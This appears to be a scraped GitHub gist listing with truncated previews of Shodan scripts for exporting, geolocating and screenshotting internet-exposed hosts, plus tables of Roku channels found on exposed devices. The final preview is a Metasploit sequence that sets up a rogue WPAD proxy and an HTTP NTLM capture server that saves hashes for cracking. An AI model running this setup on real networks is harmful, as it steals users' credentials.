This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
''' | |
Python 3.5 compatible | |
This will create a comma delimited file | |
it requires you to have a GeoIP2-City database from MaxMind. | |
https://www.maxmind.com/en/geoip2-databases | |
https://www.maxmind.com/en/geolite2-developer-package | |
If you do not wish to purchase this you can comment out the GeoDB class | |
and use the ShodanNode class. You will also need to remove the code for | |
any of the MaxMind variable and keys |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"region_code": null, | |
"ip": 3561488084, | |
"area_code": null, | |
"latitude": 51.5, | |
"hostnames": ["li635-212.members.linode.com"], | |
"postal_code": null, | |
"dma_code": null, | |
"country_code": "GB", | |
"org": "Linode", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Netflix | 863 | |
---|---|---|
Roku Home News | 767 | |
Amazon Video | 733 | |
Movie Store and TV Store | 717 | |
Hulu | 694 | |
HBO Now | 683 | |
Showtime | 678 | |
VUDU | 633 | |
Pandora | 569 | |
YouTube | 550 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# dump-images.py | |
# | |
# Extract all the image data from the banners and store them as separate images | |
# in a provided output directory. | |
# | |
# Example: | |
# shodan download --limit -1 screenshots.json.gz has_screenshot:true | |
# ./dump-images.py screenshots.json.gz images/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# Dependencies: | |
# - arrow | |
# - shodan | |
# - ImageMagick | |
# | |
# Installation: | |
# sudo easy_install arrow shodan | |
# sudo apt-get install imagemagick | |
# |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# | |
# export_hosts.py <export.json.gz> | |
# | |
import gzip | |
import shodan | |
import simplejson | |
import sys |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import shodan | |
import sys | |
from shodan import APIError | |
from netaddr import IPNetwork | |
SHODAN_API_KEY= 'APIKEY' | |
api = shodan.Shodan(SHODAN_API_KEY) | |
targets = map(IPNetwork, sys.argv[1].split(',')) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Al Jazeera English | 0.0.0 | 4 | |
---|---|---|---|
Always Summer | 1.0.1 | 2 | |
planeta iptv | 1.1.2 | 8 | |
Skitter TV | 2.5.0 | 4 | |
Andrew Wommack Ministries | 1.0.1 | 1 | |
Syfy | 1.0.24 | 187 | |
Oikos Church | 1.0.1 | 1 | |
ctn 45 tv | 1.0.2 | 1 | |
Target Ticket | 1.0.3708 | 422 | |
Target Ticket | 1.0.3707 | 4 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Netflix | 1583 | |
---|---|---|
Amazon Instant Video | 1402 | |
Roku Home News | 1352 | |
Hulu Plus | 1339 | |
Movie Store and TV Store | 1210 | |
VUDU | 1125 | |
Pandora | 1113 | |
YouTube | 979 | |
Crackle | 933 | |
Blockbuster | 794 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use auxiliary/server/wpad | |
set PROXY x.x.x.x | |
run | |
use auxiliary/server/capture/http_ntlm | |
set CAINPWFILE /root/cain.http.pw | |
set JOHNPWFILE /root/john.http.pw | |
set URIPATH / | |
set SRVPORT 80 | |
run |